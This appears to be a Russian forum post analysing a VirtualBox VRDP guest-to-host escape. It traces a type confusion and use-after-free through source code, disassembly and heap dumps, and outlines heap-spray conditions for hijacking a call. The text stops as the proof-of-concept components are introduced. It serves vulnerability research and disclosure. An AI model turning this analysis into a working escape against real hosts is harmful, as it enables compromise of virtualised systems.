R0 CREW

Удалённый побег из VirtualBox

expdev
reverse
ru
#1

Введение

VirtualBox поддерживает удалённое подключение к гостевым машинам по протоколу RDP. Для этого на стороне хоста реализован сервер VirtualBox RDP (VRDP), который по умолчанию отключён. Клиент, желающий увидеть рабочий стол гостевой системы, подключается к хосту, сам же гость ничего не знает об удалённых подключениях.

Сервер VRDP можно разделить на две части. Верхний уровень, исходники которого открыты и находятся в основном дереве VirtualBox, отвечает за управление содержимым экрана. Нижний уровень реализует сервер RDP по спецификациям Microsoft и поставляется вместе с Extension Pack в виде бинарников.

Уязвимость, о которой пойдёт речь, присутствует в компоненте верхнего уровня. Ошибка возникает, когда клиент завершает соединение RDP с виртуальной машиной, в которой работает Windows 10 с включённым 3D-ускорением. Иначе говоря, каждый раз, когда вы закрываете окно клиента RDP, которым подключились к гостю, будь то Microsoft Remote Desktop или rdesktop, виртуальная машина падает из-за попытки исполнения кода по недопустимому адресу.

Для эксплуатации уязвимости необходимы следующие условия:

  • Установленный Extension Pack, т.к. он содержит сервер VRDP.
  • Включённый VRDP для гостевой машины.
  • Включённое 3D-ускорение для гостевой машины.
  • Windows 10 в качестве гостя.

Теоретически, ошибку можно вызвать и на других гостевых ОС, т.к. проявляется она благодаря специфичному поведению видеодрайвера из Guest Additions, но я не пробовал. В посте описывается эксплуатация VirtualBox под Linux в качестве хоста. Сначала я пытался сделать это для Windows, но из-за особенностей Low Fragmentation Heap эксплуатация в данном случае выглядела малореалистичной.

Через некоторое время после обнаружения ошибки я нашёл небольшой отчёт по ней на официальном багтрекере, которому на момент написания этого поста уже 15 месяцев. Видимо, разработчик не запустил VirtualBox под отладчиком и не посмотрел на причину падения.

Вот как выглядела переписка с Oracle через SSD как посредника. Сначала их тестовая виртуальная машина версии 5.2.10 зависала при запуске эксплоита. Оказалось, что каким-то образом хеши моих бинарников этой версии отличаются от хешей этой же версии, залитой на сервера Oracle; предполагаю, они могли быть перезалиты после мелких патчей. Эксплоит, исправленный под новые бинарники, всё равно не работал на машине Oracle и просто крашил её. Ответа на своё предложение дать дампы я не получил, но это и не удивительно.

В итоге Oracle исправили уязвимость в версии 5.2.18, но кроме заметки в списке изменений “VRDP: fixed VM process termination on RDP client disconnect if 3D is enabled for the virtual machine” ничего не написали о том, что это на самом деле уязвимость. Хотя их credit’ы и CVE мне не нужны, факт есть факт.

Анализ уязвимости

Общий анализ

Строго говоря, здесь не одна уязвимость, а две: type confusion и use-after-free. Неясно, является ли первая “фичей”, а не багом. Они будут описаны далее в подразделе “Анализ причины возникновения уязвимости”.

Начнём с конца. Когда RDP-соединение закрывается, управление передаётся на произвольный код в следующем месте в файле /VirtualBox-5.2.8/src/VBox/Main/src-client/ConsoleVRDPServer.cpp, строка 1994:

/* static */ DECLCALLBACK(void) ConsoleVRDPServer::H3DORVisibleRegion(void *H3DORInstance, uint32_t cRects, const RTRECT *paRects)
{
    H3DORLOG(("H3DORVisibleRegion: ins %p %d\n", H3DORInstance, cRects));

    H3DORInstance *p = (H3DORInstance *)H3DORInstance;
    Assert(p);
    Assert(p->pThis);

    if (cRects == 0)
    {
        ...
    }
    else
    {
        p->pThis->m_interfaceImage.VRDEImageRegionSet (p->hImageBitmap,
                                                       cRects,
                                                       paRects);
    }

    H3DORLOG(("H3DORVisibleRegion: ins %p completed\n", H3DORInstance));
}

Соответствующий машинный код в библиотеке VBoxC.so:

.text:0000000000100DF0 ; void __fastcall ConsoleVRDPServer::H3DORVisibleRegion(void *H3DORInstance, uint32_t cRects, const void *paRects)
.text:0000000000100DF0 ConsoleVRDPServer__H3DORVisibleRegion proc near
.text:0000000000100DF0
.text:0000000000100DF0
.text:0000000000100DF0 var_10          = dword ptr -10h
.text:0000000000100DF0 var_C           = dword ptr -0Ch
.text:0000000000100DF0 var_8           = dword ptr -8
.text:0000000000100DF0 var_4           = dword ptr -4
.text:0000000000100DF0
.text:0000000000100DF0 ; __unwind {
.text:0000000000100DF0                 push    rbp
.text:0000000000100DF1                 mov     rax, rdi
.text:0000000000100DF4                 mov     rbp, rsp
.text:0000000000100DF7                 sub     rsp, 10h
.text:0000000000100DFB                 test    esi, esi
.text:0000000000100DFD                 jz      short loc_100E10
.text:0000000000100DFF                 mov     rax, [rax]
.text:0000000000100E02                 mov     rdi, [rdi+8]
.text:0000000000100E06                 call    qword ptr [rax+320h]
.text:0000000000100E0C                 leave
.text:0000000000100E0D                 retn

Анализ причины возникновения уязвимости

Если в отладчике GDB мы остановимся на ConsoleVRDPServer::H3DORVisibleRegion в момент закрытия соединения RDP, то получим такой стек вызовов (сейчас я использую бинарники, скомпилированные мной же, поэтому в них есть символы):

#0  ConsoleVRDPServer::H3DORVisibleRegion (H3DORInstance=0x7f7db9817190, cRects=0x1, paRects=0x7f7db9ccad20) at /home/user/src/VirtualBox-5.2.8/src/VBox/Main/src-client/ConsoleVRDPServer.cpp:1996
#1  0x00007f7dcc1f0298 in CrFbDisplayVrdp::vrdpRegions (this=0x7f7db91fdf90, pFb=0x7f7dcc5173f8 <g_CrPresenter+4152>, hEntry=0x7f7dcd079dc0) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/display_vrdp.cpp:255
#2  0x00007f7dcc1efddd in CrFbDisplayVrdp::EntryRemoved (this=0x7f7db91fdf90, pFb=0x7f7dcc5173f8 <g_CrPresenter+4152>, hEntry=0x7f7dcd079dc0) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/display_vrdp.cpp:116
#3  0x00007f7dcc1f4e40 in CrFbDisplayBase::fbCleanupRemoveAllEntries (this=0x7f7db91fdf90) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/display_base.cpp:323
#4  0x00007f7dcc1f0024 in CrFbDisplayVrdp::fbCleanup (this=0x7f7db91fdf90) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/display_vrdp.cpp:193
#5  0x00007f7dcc1f4808 in CrFbDisplayBase::setFramebuffer (this=0x7f7db91fdf90, pFb=0x0) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/display_base.cpp:97
#6  0x00007f7dcc1f3ab1 in CrFbDisplayComposite::remove (this=0x7f7db92702b0, pDisplay=0x7f7db91fdf90, fCleanupDisplay=0x1) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/display_composite.cpp:67
#7  0x00007f7dcc1cf823 in crPMgrFbDisconnectDisplay (hFb=0x7f7dcc5173f8 <g_CrPresenter+4152>, pDp=0x7f7db91fdf90) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/server_presenter.cpp:2008
#8  0x00007f7dcc1d02cf in crPMgrFbDisconnectTargetDisplays (hFb=0x7f7dcc5173f8 <g_CrPresenter+4152>, pDpInfo=0x7f7dcc5163f0 <g_CrPresenter+48>, u32ModeRemove=0x4) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/server_presenter.cpp:2226
#9  0x00007f7dcc1d0787 in crPMgrModeModifyTarget (hFb=0x7f7dcc5173f8 <g_CrPresenter+4152>, iDisplay=0x0, u32ModeAdd=0x0, u32ModeRemove=0x4) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/server_presenter.cpp:2370
#10 0x00007f7dcc1d088f in crPMgrModeModify (hFb=0x7f7dcc5173f8 <g_CrPresenter+4152>, u32ModeAdd=0x0, u32ModeRemove=0x4) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/server_presenter.cpp:2396
#11 0x00007f7dcc1d0c81 in crPMgrModeModifyGlobal (u32ModeAdd=0x0, u32ModeRemove=0x4) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/server_presenter.cpp:2495
#12 0x00007f7dcc1d0d69 in CrPMgrModeVrdp (fEnable=0x0) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/server_presenter.cpp:2536
#13 0x00007f7dcc1e1bc8 in crVBoxServerSetOffscreenRendering (value=0x0) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:2734
#14 0x00007f7dcc1c9aca in svcHostCallPerform (u32Function=0x14, cParms=0x1, paParms=0x7f7df00fcb30) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp:1338
#15 0x00007f7dcc1ca071 in crVBoxServerHostCtl (pCtl=0x7f7df00fcb10, cbCtl=0x38) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp:1438
#16 0x00007f7dcc1e2bc7 in crVBoxCrCmdHostCtl (hSvr=0x0, pCmd=0x7f7df00fcb10 "\001", cbCmd=0x38) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:3218
#17 0x00007f7db756add6 in vboxVDMACrHostCtlProcess (pVdma=0x555786209b10, pCmd=0x7f7dcd054f80, pfContinue=0x7f7df06ade17) at /home/user/src/VirtualBox-5.2.8/src/VBox/Devices/Graphics/DevVGA_VDMA.cpp:1376
#18 0x00007f7db756e391 in vboxVDMAWorkerThread (hThreadSelf=0x55578563bde0, pvUser=0x555786209b10) at /home/user/src/VirtualBox-5.2.8/src/VBox/Devices/Graphics/DevVGA_VDMA.cpp:2696
#19 0x00007f7e1481bb87 in rtThreadMain (pThread=0x55578563bde0, NativeThread=0x7f7df06ae700, pszThreadName=0x55578563c6c0 "VDMA") at /home/user/src/VirtualBox-5.2.8/src/VBox/Runtime/common/misc/thread.cpp:719
#20 0x00007f7e148e36af in rtThreadNativeMain (pvArgs=0x55578563bde0) at /home/user/src/VirtualBox-5.2.8/src/VBox/Runtime/r3/posix/thread-posix.cpp:327
#21 0x00007f7e10075494 in start_thread (arg=0x7f7df06ae700) at pthread_create.c:333
#22 0x00007f7e1222671f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:105

Фреймы #18 - #14 относятся к обработчику запросов Video DMA (VDMA), включая запросы к Shared OpenGL Service (библиотека Chromium, отвечающая за 3D-ускорение, не спутайте с браузером) от гостя к хосту. Фреймы #13 - #9 выполняют приготовления к последующему созданию или удалению дисплеев. Дисплей - это часть экрана, которая отправляется клиенту. Одновременно могут существовать несколько дисплеев, один из которых может представлять экран гостевой машины целиком, а другой - лишь небольшой прямоугольник, в котором произошли изменения за последнее время. В фреймах #8 - #7 мы сталкиваемся с первой ошибкой.

Type Confusion

Фрейму #7 соответствует следующая функция.

static int crPMgrFbDisconnectDisplay(HCR_FRAMEBUFFER hFb, CrFbDisplayBase *pDp)
{
    ...

    if (pDp->getContainer() == pFbInfo->pDpComposite)
    {
        pFbInfo->pDpComposite->remove(pDp);
        ...
        return VINF_SUCCESS;
    }

    WARN(("misconfig"));
    return VERR_INTERNAL_ERROR;
}

Аргумент pDp - это объект класса CrFbDisplayBase. Этот класс имеет следующие подклассы: CrFbDisplayComposite, CrFbDisplayWindow, CrFbDisplayWindowRootVr, CrFbDisplayVrdp. В нашем случае pDp - объект подкласса CrFbDisplayVrdp, а не базового класса CrFbDisplayBase, поэтому его указатель виртуальной таблицы ссылается на таблицу CrFbDisplayVrdp. Учтём этот момент.

Код pDp->getContainer() на самом деле вызывает getContainer базового класса, т.к. этот метод не реализован в классе CrFbDisplayVrdp. Возвращаемым значением данного метода всегда является другой объект класса CrFbDisplayComposite. Это несколько странно, учитывая название метода, но пусть будет так.

Благодаря возвращённому значению проверка выполняется успешно и вызывается метод CrFbDisplayComposite::remove (фрейм #6). Этот метод вызывает CrFbDisplayBase::setFramebuffer, в котором есть интересная строка:

int CrFbDisplayBase::setFramebuffer(struct CR_FRAMEBUFFER *pFb)
{
...

    if (mpFb)
    {
        rc = fbCleanup();
...
}

Могу предположить, что код был написан с целью вызывать fbCleanup как метод объекта класса CrFbDisplayBase, но типом текущего объекта является CrFbDisplayVrdp (вспоминаем про указатель на виртуальную таблицу). Как следствие, вместо CrFbDisplayBase::fbCleanup вызывается CrFbDisplayVrdp::fbCleanup. Сложность стека вызовов уже настораживает.

Use-After-Free

Метод CrFbDisplayVrdp::fbCleanup вызывает fbCleanupRemoveAllEntries, реализованный только в базовом классе, поэтому вызывается CrFbDisplayBase::fbCleanupRemoveAllEntries, который содержит UAF и является первопричиной всей уязвимости.

int CrFbDisplayBase::fbCleanupRemoveAllEntries()
{
    VBOXVR_SCR_COMPOSITOR_CONST_ITERATOR Iter;
    const VBOXVR_SCR_COMPOSITOR_ENTRY *pEntry;

    CrVrScrCompositorConstIterInit(CrFbGetCompositor(mpFb), &Iter);

    int rc = VINF_SUCCESS;

    while ((pEntry = CrVrScrCompositorConstIterNext(&Iter)) != NULL)
    {
        HCR_FRAMEBUFFER_ENTRY hEntry = CrFbEntryFromCompositorEntry(pEntry);
        rc = EntryRemoved(mpFb, hEntry);
        if (!RT_SUCCESS(rc))
        {
            WARN(("err"));
            break;
        }

        CrFbVisitCreatedEntries(mpFb, entriesDestroyCb, this);
    }

    return rc;
}

Цикл обходит все дисплеи и вызывает EntryRemoved для каждого из них. Здесь HCR_FRAMEBUFFER_ENTRY - это указатель на структуру, представляющую один дисплей. И опять, EntryRemoved вызывается с использованием виртуальной таблицы CrFbDisplayVrdp, а не CrFbDisplayBase. Опуская анализ того, как выполняется удаление дисплея, посмотрим, что происходит, когда вызывается CrFbVisitCreatedEntries.

void CrFbVisitCreatedEntries(HCR_FRAMEBUFFER hFb, PFNCR_FRAMEBUFFER_ENTRIES_VISITOR_CB pfnVisitorCb, void *pvContext)
{
    HCR_FRAMEBUFFER_ENTRY hEntry, hNext;
    RTListForEachSafe(&hFb->EntriesList, hEntry, hNext, CR_FRAMEBUFFER_ENTRY, Node)
    {
        if (hEntry->Flags.fCreateNotified)
        {
            if (!pfnVisitorCb(hFb, hEntry, pvContext))
                return;
        }
    }
}

Первым аргументом является контейнер, содержащий все дисплеи, второй аргумент это коллбек, третий - это аргумент для коллбека. Метод CrFbVisitCreatedEntries обходит все дисплеи и вызывает коллбек для каждого из них. Взглянем на коллбек.

DECLCALLBACK(bool) CrFbDisplayBase::entriesDestroyCb(HCR_FRAMEBUFFER hFb, HCR_FRAMEBUFFER_ENTRY hEntry, void *pvContext)
{
    int rc = ((ICrFbDisplay*)(pvContext))->EntryDestroyed(hFb, hEntry);
    if (!RT_SUCCESS(rc))
    {
        WARN(("err"));
    }
    return true;
}

Если не углубляться, EntryDestroyed - это в действительности метод CrFbDisplayVrdp::EntryRemoved, удаляющий дисплей и освобождающий память. В этом и кроется ошибка: за одну итерацию цикла метода fbCleanupRemoveAllEntries удаляются все дисплеи и освобождается вся их память, но она продолжает использоваться на следующей итерации.

Анализ структур данных в памяти

Прежде чем двигаться дальше, проясню ещё один момент. Каждый дисплей (HCR_FRAMEBUFFER_ENTRY) имеет хэш-таблицу CRHTABLE, в которой значением является указатель на структуру, описывающую координаты дисплея. Для каждого дисплея обычно (а по моим наблюдениям, всегда) имеется только один элемент в хэше.

typedef struct CR_FRAMEBUFFER_ENTRY
{
    VBOXVR_SCR_COMPOSITOR_ENTRY Entry;
    RTLISTNODE Node;
    uint32_t cRefs;
    CR_FBENTRY_FLAGS Flags;
    CRHTABLE HTable;
} CR_FRAMEBUFFER_ENTRY;

Структура с координатами имеет тип H3DORInstance, определённый в файле ConsoleVRDPServer.cpp, про который я упоминал в самом начале анализа.

typedef struct H3DORInstance
{
    ConsoleVRDPServer *pThis;
    HVRDEIMAGE hImageBitmap;
    int32_t x;
    int32_t y;
    uint32_t w;
    uint32_t h;
    bool fCreated;
    bool fFallback;
    bool fTopDown;
} H3DORInstance;

Эта структура по своей сути является прослойкой между верхним уровнем сервера VRDP и остальным кодом VirtualBox. В то время как хэш содержит указатели на void, при передаче их в методы ConsoleVRDPServer::* они приводятся к типу H3DORInstance.

Возвращаясь к ассемблерному коду, посмотрим на то, как разыменовываются указатели в уязвимом методе ConsoleVRDPServer::H3DORVisibleRegion (где передаётся управление на произвольный код), но остановимся на нём при нормальных условиях, а не при закрытии соединения RDP.

gef➤  x/5i $pc
=> 0x7fa018ec9dff:	mov    rax,QWORD PTR [rax]
   0x7fa018ec9e02:	mov    rdi,QWORD PTR [rdi+0x8]
   0x7fa018ec9e06:	call   QWORD PTR [rax+0x320]
   0x7fa018ec9e0c:	leave  
   0x7fa018ec9e0d:	ret    
gef➤  x/8gx $rax-0x10
0x7fa005b8e280:	0x0000000000000000	0x0000000000000035
0x7fa005b8e290:	0x00007fa010008070	0x00007fa005bf97f0
0x7fa005b8e2a0:	0x0000000000000000	0x0000029800000400
0x7fa005b8e2b0:	0x0000000000010101	0x0000000000000065
gef➤  

RAX-0x10 указывает на malloc_chunk размером 0x30, а RAX указывает на H3DORInstance. Как видно, поле “w” (width) равно 0x400 и “h” (height) равно 0x298 - это разрешение клиента RDP, которым я подключился к гостю. Теперь остановимся на этом же месте, когда закрывается RDP-соединение.

gef➤  x/5i $pc
=> 0x7feffac2cdff:	mov    rax,QWORD PTR [rax]
   0x7feffac2ce02:	mov    rdi,QWORD PTR [rdi+0x8]
   0x7feffac2ce06:	call   QWORD PTR [rax+0x320]
   0x7feffac2ce0c:	leave  
   0x7feffac2ce0d:	ret    
gef➤  x/8gx $rax-0x10
0x7fefed472ba0:	0x0000000000000000	0x0000000000000035
0x7fefed472bb0:	0x00007fefed44c040	0x00007fefed44e630
0x7fefed472bc0:	0x0000000000000000	0x0000029800000400
0x7fefed472bd0:	0x0000000000010101	0x0000000000001015
gef➤  heap_for_ptr 0x7fefed472ba0
$2 = 0x7fefec000000
gef➤  heap bins fast 0x7fefec000000
Fastbins[idx=0, size=0x10] 0x00
...
Fastbins[idx=5, size=0x60]  ←  ...  ←  Chunk(addr=0x7fefed472bb0, size=0x34, flags=PREV_INUSE|NON_MAIN_ARENA) [incorrect fastbin_index]  ←  ...
...

На системе Debian, которую я использую, текущим аллокатором памяти по умолчанию является ptmalloc2. В нём есть механизм fastbins, который обрабатывает выделение/освобождение блоков, чей размер меньше либо равен 64 байтам на x86 и 128 байтам на x86-64. Это делается для скорости, чтобы не задействовать всю функциональность аллокатора.

По листингу выше видно, что RAX теперь указывает на освобождённую память, указатель на которую хранится в соответствующем fastbin. Первые два учетверённых слова (QWORD) структуры H3DORInstance по адресу RAX были заменены указателями malloc_chunk* fd и malloc_chunk* bk. Ассемблерный код выше берёт первое слово, разыменовывает его, к полученному указателю прибавляет 0x320 и тоже разыменовывает. Чтобы показать, на что именно указывает первое слово в данный момент, нужно снова переключиться на неоптимизированные бинарники с символами.

В следующем листинге при помощи самописных скриптов выводится список дисплеев и соответствующих им H3DORInstance на момент первой итерации уязвимого цикла, когда ни один дисплей ещё не был освобождён.

Thread 43 "VDMA" hit Breakpoint 4, CrFbDisplayBase::fbCleanupRemoveAllEntries (this=0x7fb79d69aec0) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/display_base.cpp:320
320	    while ((pEntry = CrVrScrCompositorConstIterNext(&Iter)) != NULL)
gef➤  pl
$1 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4e80
$2 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4d00
$3 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4dc0
$4 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4f40
$5 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4c40
$6 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4b80
$7 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4a00
$8 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4940
$9 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4ac0
gef➤  pli
$10 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4e80
$11 = "H3DORInstance:"
0x7fb79d130260:	0x00007fb79c0074b0	0x00007fb79cc71ef0
0x7fb79d130270:	0x0000000000000000	0x0000029b00000556
0x7fb79d130280:	0x0000000000010101
$12 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4d00
$13 = "H3DORInstance:"
0x7fb79cc729f0:	0x00007fb79c0074b0	0x00007fb79d06dd40
0x7fb79cc72a00:	0x0000000000000000	0x0000029b00000556
0x7fb79cc72a10:	0x0000000000010101
$14 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4dc0
$15 = "H3DORInstance:"
0x7fb79cc81690:	0x00007fb79c0074b0	0x00007fb79e1d7c50
0x7fb79cc816a0:	0x0000000000000000	0x0000029b00000556
0x7fb79cc816b0:	0x0000000000010101
$16 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4f40
$17 = "H3DORInstance:"
0x7fb79d66a310:	0x00007fb79c0074b0	0x00007fb79cc81390
0x7fb79d66a320:	0x0000000000000000	0x0000029b00000556
0x7fb79d66a330:	0x0000000000010101
$18 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4c40
$19 = "H3DORInstance:"
0x7fb79cc67450:	0x00007fb79c0074b0	0x00007fb79cc7ba00
0x7fb79cc67460:	0x0000000000000000	0x0000029b00000556
0x7fb79cc67470:	0x0003506100010101
$20 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4b80
$21 = "H3DORInstance:"
0x7fb79d12dc50:	0x00007fb79c0074b0	0x00007fb79d12f080
0x7fb79d12dc60:	0x0000000000000000	0x0000029b00000556
0x7fb79d12dc70:	0x0000000000010101
$22 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4a00
$23 = "H3DORInstance:"
0x7fb79d66a2b0:	0x00007fb79c0074b0	0x00007fb79d12f330
0x7fb79d66a2c0:	0x0000000000000000	0x0000029b00000556
0x7fb79d66a2d0:	0x0003506f00010101
$24 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4940
$25 = "H3DORInstance:"
0x7fb79cf983c0:	0x00007fb79c0074b0	0x00007fb79cc81400
0x7fb79cf983d0:	0x0000000000000000	0x0000029b00000556
0x7fb79cf983e0:	0x0000000000010101
$26 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4ac0
$27 = "H3DORInstance:"
0x7fb79d0a7430:	0x00007fb79c0074b0	0x00007fb79cc814f0
0x7fb79d0a7440:	0x0000000000000000	0x0000029b00000556
0x7fb79d0a7450:	0x0000000000010101

Здесь все память всех H3DORInstance выделена, первое слово в них - это указатель на ConsoleVRDPServer, и во всех структурах он один и тот же, а второе - неинтересный нам указатель. Ничего необычного. Теперь пропустим одну итерацию, чтобы ошибочный код освободил память всех дисплеев, и выведем на экран те же структуры.

gef➤  c
Continuing.
[Thread 0x7fb791e05700 (LWP 3722) exited]
[Thread 0x7fb793fff700 (LWP 3723) exited]

Thread 43 "VDMA" hit Breakpoint 4, CrFbDisplayBase::fbCleanupRemoveAllEntries (this=0x7fb79d69aec0) at /home/user/src/VirtualBox-5.2.8/src/VBox/HostServices/SharedOpenGL/crserverlib/presenter/display_base.cpp:320
320	    while ((pEntry = CrVrScrCompositorConstIterNext(&Iter)) != NULL)
gef➤  pl
$28 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4e80
$29 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4d00
$30 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4dc0
$31 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4f40
$32 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4c40
$33 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4b80
$34 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4a00
$35 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4940
$36 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4ac0
gef➤  pli
$37 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4e80
$38 = "H3DORInstance:"
0x7fb79d130260:	0x00007fb79cc81460	0x00007fb79cc71ef0
0x7fb79d130270:	0x0000000000000000	0x0000029b00000556
0x7fb79d130280:	0x0000000000010101
$39 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4d00
$40 = "H3DORInstance:"
0x7fb79cc729f0:	0x00007fb79d130250	0x00007fb79d06dd40
0x7fb79cc72a00:	0x0000000000000000	0x0000029b00000556
0x7fb79cc72a10:	0x0000000000010101
$41 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4dc0
$42 = "H3DORInstance:"
0x7fb79cc81690:	0x00007fb79cc729e0	0x00007fb79e1d7c50
0x7fb79cc816a0:	0x0000000000000000	0x0000029b00000556
0x7fb79cc816b0:	0x0000000000010101
$43 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4f40
$44 = "H3DORInstance:"
0x7fb79d66a310:	0x00007fb79cc81680	0x00007fb79cc81390
0x7fb79d66a320:	0x0000000000000000	0x0000029b00000556
0x7fb79d66a330:	0x0000000000010101
$45 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4c40
$46 = "H3DORInstance:"
0x7fb79cc67450:	0x0000000000000000	0x00007fb79cc7ba00
0x7fb79cc67460:	0x0000000000000000	0x0000029b00000556
0x7fb79cc67470:	0x0003506100010101
$47 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4b80
$48 = "H3DORInstance:"
0x7fb79d12dc50:	0x00007fb79d66a300	0x00007fb79d12f080
0x7fb79d12dc60:	0x0000000000000000	0x0000029b00000556
0x7fb79d12dc70:	0x0000000000010101
$49 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4a00
$50 = "H3DORInstance:"
0x7fb79d66a2b0:	0x00007fb79cc67440	0x00007fb79d12f330
0x7fb79d66a2c0:	0x0000000000000000	0x0000029b00000556
0x7fb79d66a2d0:	0x0003506f00010101
$51 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4940
$52 = "H3DORInstance:"
0x7fb79cf983c0:	0x00007fb79d12dc40	0x00007fb79cc81400
0x7fb79cf983d0:	0x0000000000000000	0x0000029b00000556
0x7fb79cf983e0:	0x0000000000010101
$53 = (CR_FRAMEBUFFER_ENTRY *) 0x7fb7ac0f4ac0
$54 = "H3DORInstance:"
0x7fb79d0a7430:	0x00007fb79cf983b0	0x00007fb79cc814f0
0x7fb79d0a7440:	0x0000000000000000	0x0000029b00000556
0x7fb79d0a7450:	0x0000000000010101

Если приглядеться, то можно заметить, что у H3DORInstance[i] первое слово указывает на память H3DORInstance[i-1]-0x10 или H3DORInstance[i-2]-0x10, т.е. указывает на один из “предыдущих” malloc_chunk’ов. Теперь продолжим исполнение и остановимся на итоговом уязвимом коде, который получает управление как раз на второй итерации (напомню, что мы всё ещё используем неоптимизированные бинари).

gef➤  b /home/user/src/VirtualBox/src/VBox/Main/src-client/ConsoleVRDPServer.cpp:1994
Breakpoint 5 at 0x7fb7af4eb017: file /home/user/src/VirtualBox-5.2.8/src/VBox/Main/src-client/ConsoleVRDPServer.cpp, line 1994.
gef➤  c
Continuing.

Thread 43 "VDMA" hit Breakpoint 5, ConsoleVRDPServer::H3DORVisibleRegion (H3DORInstance=0x7fb79cf983c0, cRects=0x1, paRects=0x7fb79cc7cab0) at /home/user/src/VirtualBox-5.2.8/src/VBox/Main/src-client/ConsoleVRDPServer.cpp:1994
1994	        p->pThis->m_interfaceImage.VRDEImageRegionSet (p->hImageBitmap,
gef➤  x/16i $pc
=> 0x7fb7af4eb017:	mov    rax,QWORD PTR [rbp-0x8]
   0x7fb7af4eb01b:	mov    rax,QWORD PTR [rax]
   0x7fb7af4eb01e:	mov    rax,QWORD PTR [rax+0x320]
   0x7fb7af4eb025:	mov    rdx,QWORD PTR [rbp-0x8]
   0x7fb7af4eb029:	mov    rcx,QWORD PTR [rdx+0x8]
   0x7fb7af4eb02d:	mov    rdx,QWORD PTR [rbp-0x38]
   0x7fb7af4eb031:	mov    esi,DWORD PTR [rbp-0x2c]
   0x7fb7af4eb034:	mov    rdi,rcx
   0x7fb7af4eb037:	call   rax
   0x7fb7af4eb039:	nop
   0x7fb7af4eb03a:	leave  
   0x7fb7af4eb03b:	ret    
gef➤  si
0x00007fb7af4eb01b	1994	        p->pThis->m_interfaceImage.VRDEImageRegionSet (p->hImageBitmap,
gef➤  x/8gx $rax-0x10
0x7fb79cf983b0:	0x0000000000000090	0x0000000000000035
0x7fb79cf983c0:	0x00007fb79d12dc40	0x00007fb700000000
0x7fb79cf983d0:	0x00007fb79cc7b8d0	0x00007f0100000000
0x7fb79cf983e0:	0x0000000000010101	0x00000000000000e5

Как видно, RAX указывает на второй, считая снизу, H3DORInstance из предыдущего листинга (0x7fb79cf983c0). Первое слово - это указатель на malloc_chunk другого освобождённого H3DORInstance (0x7fb79d12dc50-0x10).

Таким образом, чтобы эксплуатировать уязвимость, необходимо иметь возможность:

  • создавать произвольное число дисплеев, а следовательно и структур H3DORInstance;
  • заполнять кучу (heap spray) вокруг созданных H3DORInstance таким образом, чтобы при разыменовании [[RAX]+0x320] из памяти был взят указатель на исполняемый код, контролируемый нами.

Proof-of-concept

Описание

Эксплоит состоит из трёх компонентов:

  • загрузчик (vrdpexploit_launcher.exe);
  • библиотека для инжекта в процесс dwm.exe (hostid_hijacker.dll);
